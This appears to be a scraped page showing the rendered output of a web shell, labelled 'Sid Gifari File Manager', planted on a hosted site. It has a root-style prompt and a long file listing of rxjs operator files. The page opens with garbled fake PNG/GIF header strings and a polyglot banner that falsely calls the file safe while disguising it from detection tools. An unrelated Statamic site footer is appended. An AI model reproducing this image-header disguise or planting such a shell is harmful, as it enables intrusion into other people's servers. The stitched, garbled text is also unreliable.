$假PNG头 = "\x89PNG\r\n\x1a\n";             "\头"\头"\头"\头"\头"\头        $假PNG头 = "\x89PNG\r\n\x1a\n        "\头"\头 $假PNG头 = "\x89PNG\r\n\x1a\n"; GIF89a PHP Polyglot Example

PHP Polyglot Demo

Today's date is: 2026-02-13

This file starts with a GIF header, so some tools might classify it incorrectly, but the contents are safe HTML + PHP.

WordFence

Sid Gifari File Manager

🏠 Root / home / forge / cpmonitor.on-forge.com / node_modules / rxjs / dist / esm / internal / operators /
root@Sid-Gifari:/home/forge/cpmonitor.on-forge.com/node_modules/rxjs/dist/esm/internal/operators$


NameSizePermAction
📄 OperatorSubscriber.js 1818 bytes
📄 OperatorSubscriber.js.map 1546 bytes
📄 audit.js 1508 bytes
📄 audit.js.map 1401 bytes
📄 auditTime.js 288 bytes
📄 auditTime.js.map 399 bytes
📄 buffer.js 836 bytes
📄 buffer.js.map 930 bytes
📄 bufferCount.js 1388 bytes
📄 bufferCount.js.map 1330 bytes
📄 bufferTime.js 2653 bytes
📄 bufferTime.js.map 2319 bytes
📄 bufferToggle.js 1380 bytes
📄 bufferToggle.js.map 1425 bytes
📄 bufferWhen.js 1102 bytes
📄 bufferWhen.js.map 1156 bytes
📄 catchError.js 964 bytes
📄 catchError.js.map 975 bytes
📄 combineAll.js 137 bytes
📄 combineAll.js.map 226 bytes
📄 combineLatest.js 679 bytes
📄 combineLatest.js.map 763 bytes
📄 combineLatestAll.js 259 bytes
📄 combineLatestAll.js.map 332 bytes
📄 combineLatestWith.js 192 bytes
📄 combineLatestWith.js.map 288 bytes
📄 concat.js 413 bytes
📄 concat.js.map 571 bytes
📄 concatAll.js 132 bytes
📄 concatAll.js.map 246 bytes
📄 concatMap.js 281 bytes
📄 concatMap.js.map 413 bytes
📄 concatMapTo.js 319 bytes
📄 concatMapTo.js.map 427 bytes
📄 concatWith.js 157 bytes
📄 concatWith.js.map 270 bytes
📄 connect.js 613 bytes
📄 connect.js.map 745 bytes
📄 count.js 205 bytes
📄 count.js.map 404 bytes
📄 debounce.js 1400 bytes
📄 debounce.js.map 1297 bytes
📄 debounceTime.js 1501 bytes
📄 debounceTime.js.map 1462 bytes
📄 defaultIfEmpty.js 576 bytes
📄 defaultIfEmpty.js.map 665 bytes
📄 delay.js 313 bytes
📄 delay.js.map 422 bytes
📄 delayWhen.js 646 bytes
📄 delayWhen.js.map 825 bytes
📄 dematerialize.js 419 bytes
📄 dematerialize.js.map 499 bytes
📄 distinct.js 785 bytes
📄 distinct.js.map 923 bytes
📄 distinctUntilChanged.js 857 bytes
📄 distinctUntilChanged.js.map 908 bytes
📄 distinctUntilKeyChanged.js 272 bytes
📄 distinctUntilKeyChanged.js.map 484 bytes
📄 elementAt.js 626 bytes
📄 elementAt.js.map 788 bytes
📄 endWith.js 214 bytes
📄 endWith.js.map 360 bytes
📄 every.js 598 bytes
📄 every.js.map 725 bytes
📄 exhaust.js 113 bytes
📄 exhaust.js.map 214 bytes
📄 exhaustAll.js 192 bytes
📄 exhaustAll.js.map 291 bytes
📄 exhaustMap.js 1096 bytes
📄 exhaustMap.js.map 1294 bytes
📄 expand.js 388 bytes
📄 expand.js.map 534 bytes
📄 filter.js 404 bytes
📄 filter.js.map 549 bytes
📄 finalize.js 300 bytes
📄 finalize.js.map 398 bytes
📄 find.js 807 bytes
📄 find.js.map 998 bytes
📄 findIndex.js 225 bytes
📄 findIndex.js.map 344 bytes
📄 first.js 591 bytes
📄 first.js.map 819 bytes
📄 flatMap.js 107 bytes
📄 flatMap.js.map 214 bytes
📄 groupBy.js 2832 bytes
📄 groupBy.js.map 2703 bytes
📄 ignoreElements.js 344 bytes
📄 ignoreElements.js.map 445 bytes
📄 isEmpty.js 466 bytes
📄 isEmpty.js.map 574 bytes
📄 joinAllInternals.js 433 bytes
📄 joinAllInternals.js.map 594 bytes
📄 last.js 601 bytes
📄 last.js.map 817 bytes
📄 map.js 410 bytes
📄 map.js.map 549 bytes
📄 mapTo.js 124 bytes
📄 mapTo.js.map 263 bytes
📄 materialize.js 659 bytes
📄 materialize.js.map 776 bytes
📄 max.js 259 bytes
📄 max.js.map 558 bytes
📄 merge.js 479 bytes
📄 merge.js.map 647 bytes
📄 mergeAll.js 215 bytes
📄 mergeAll.js.map 314 bytes
📄 mergeInternals.js 2243 bytes
📄 mergeInternals.js.map 2017 bytes
📄 mergeMap.js 692 bytes
📄 mergeMap.js.map 874 bytes
📄 mergeMapTo.js 478 bytes
📄 mergeMapTo.js.map 536 bytes
📄 mergeScan.js 485 bytes
📄 mergeScan.js.map 662 bytes
📄 mergeWith.js 152 bytes
📄 mergeWith.js.map 268 bytes
📄 min.js 259 bytes
📄 min.js.map 558 bytes
📄 multicast.js 585 bytes
📄 multicast.js.map 617 bytes
📄 observeOn.js 625 bytes
📄 observeOn.js.map 801 bytes
📄 onErrorResumeNextWith.js 407 bytes
📄 onErrorResumeNextWith.js.map 477 bytes
📄 pairwise.js 494 bytes
📄 pairwise.js.map 620 bytes
📄 partition.js 259 bytes
📄 partition.js.map 437 bytes
📄 pluck.js 643 bytes
📄 pluck.js.map 709 bytes
📄 publish.js 297 bytes
📄 publish.js.map 480 bytes
📄 publishBehavior.js 380 bytes
📄 publishBehavior.js.map 444 bytes
📄 publishLast.js 339 bytes
📄 publishLast.js.map 416 bytes
📄 publishReplay.js 603 bytes
📄 publishReplay.js.map 663 bytes
📄 race.js 208 bytes
📄 race.js.map 313 bytes
📄 raceWith.js 382 bytes
📄 raceWith.js.map 510 bytes
📄 reduce.js 259 bytes
📄 reduce.js.map 379 bytes
📄 refCount.js 978 bytes
📄 refCount.js.map 989 bytes
📄 repeat.js 2156 bytes
📄 repeat.js.map 1751 bytes
📄 repeatWhen.js 1748 bytes
📄 repeatWhen.js.map 1507 bytes
📄 retry.js 2638 bytes
📄 retry.js.map 2015 bytes
📄 retryWhen.js 1153 bytes
📄 retryWhen.js.map 1147 bytes
📄 sample.js 820 bytes
📄 sample.js.map 884 bytes
📄 sampleTime.js 292 bytes
📄 sampleTime.js.map 385 bytes
📄 scan.js 248 bytes
📄 scan.js.map 365 bytes
📄 scanInternals.js 806 bytes
📄 scanInternals.js.map 888 bytes
📄 sequenceEqual.js 1586 bytes
📄 sequenceEqual.js.map 1612 bytes
📄 share.js 2877 bytes
📄 share.js.map 2591 bytes
📄 shareReplay.js 770 bytes
📄 shareReplay.js.map 770 bytes
📄 single.js 1145 bytes
📄 single.js.map 1150 bytes
📄 skip.js 148 bytes
📄 skip.js.map 291 bytes
📄 skipLast.js 967 bytes
📄 skipLast.js.map 966 bytes
📄 skipUntil.js 744 bytes
📄 skipUntil.js.map 797 bytes
📄 skipWhile.js 439 bytes
📄 skipWhile.js.map 601 bytes
📄 startWith.js 411 bytes
📄 startWith.js.map 577 bytes
📄 subscribeOn.js 273 bytes
📄 subscribeOn.js.map 428 bytes
📄 switchAll.js 187 bytes
📄 switchAll.js.map 289 bytes
📄 switchMap.js 1174 bytes
📄 switchMap.js.map 1200 bytes
📄 switchMapTo.js 319 bytes
📄 switchMapTo.js.map 427 bytes
📄 switchScan.js 464 bytes
📄 switchScan.js.map 666 bytes
📄 take.js 659 bytes
📄 take.js.map 712 bytes
📄 takeLast.js 775 bytes
📄 takeLast.js.map 874 bytes
📄 takeUntil.js 497 bytes
📄 takeUntil.js.map 610 bytes
📄 takeWhile.js 527 bytes
📄 takeWhile.js.map 658 bytes
📄 tap.js 1739 bytes
📄 tap.js.map 1352 bytes
📄 throttle.js 1793 bytes
📄 throttle.js.map 1795 bytes
📄 throttleTime.js 352 bytes
📄 throttleTime.js.map 461 bytes
📄 throwIfEmpty.js 640 bytes
📄 throwIfEmpty.js.map 764 bytes
📄 timeInterval.js 739 bytes
📄 timeInterval.js.map 828 bytes
📄 timeout.js 2606 bytes
📄 timeout.js.map 2495 bytes
📄 timeoutWith.js 828 bytes
📄 timeoutWith.js.map 896 bytes
📄 timestamp.js 291 bytes
📄 timestamp.js.map 392 bytes
📄 toArray.js 314 bytes
📄 toArray.js.map 510 bytes
📄 window.js 1252 bytes
📄 window.js.map 1265 bytes
📄 windowCount.js 1436 bytes
📄 windowCount.js.map 1603 bytes
📄 windowTime.js 2599 bytes
📄 windowTime.js.map 2556 bytes
📄 windowToggle.js 2069 bytes
📄 windowToggle.js.map 2029 bytes
📄 windowWhen.js 1569 bytes
📄 windowWhen.js.map 1465 bytes
📄 withLatestFrom.js 1274 bytes
📄 withLatestFrom.js.map 1490 bytes
📄 zip.js 275 bytes
📄 zip.js.map 411 bytes
📄 zipAll.js 209 bytes
📄 zipAll.js.map 309 bytes
📄 zipWith.js 140 bytes
📄 zipWith.js.map 264 bytes
Backfron - Statamic
Statamic
Guayaquil, Ecuador
info@backfron.com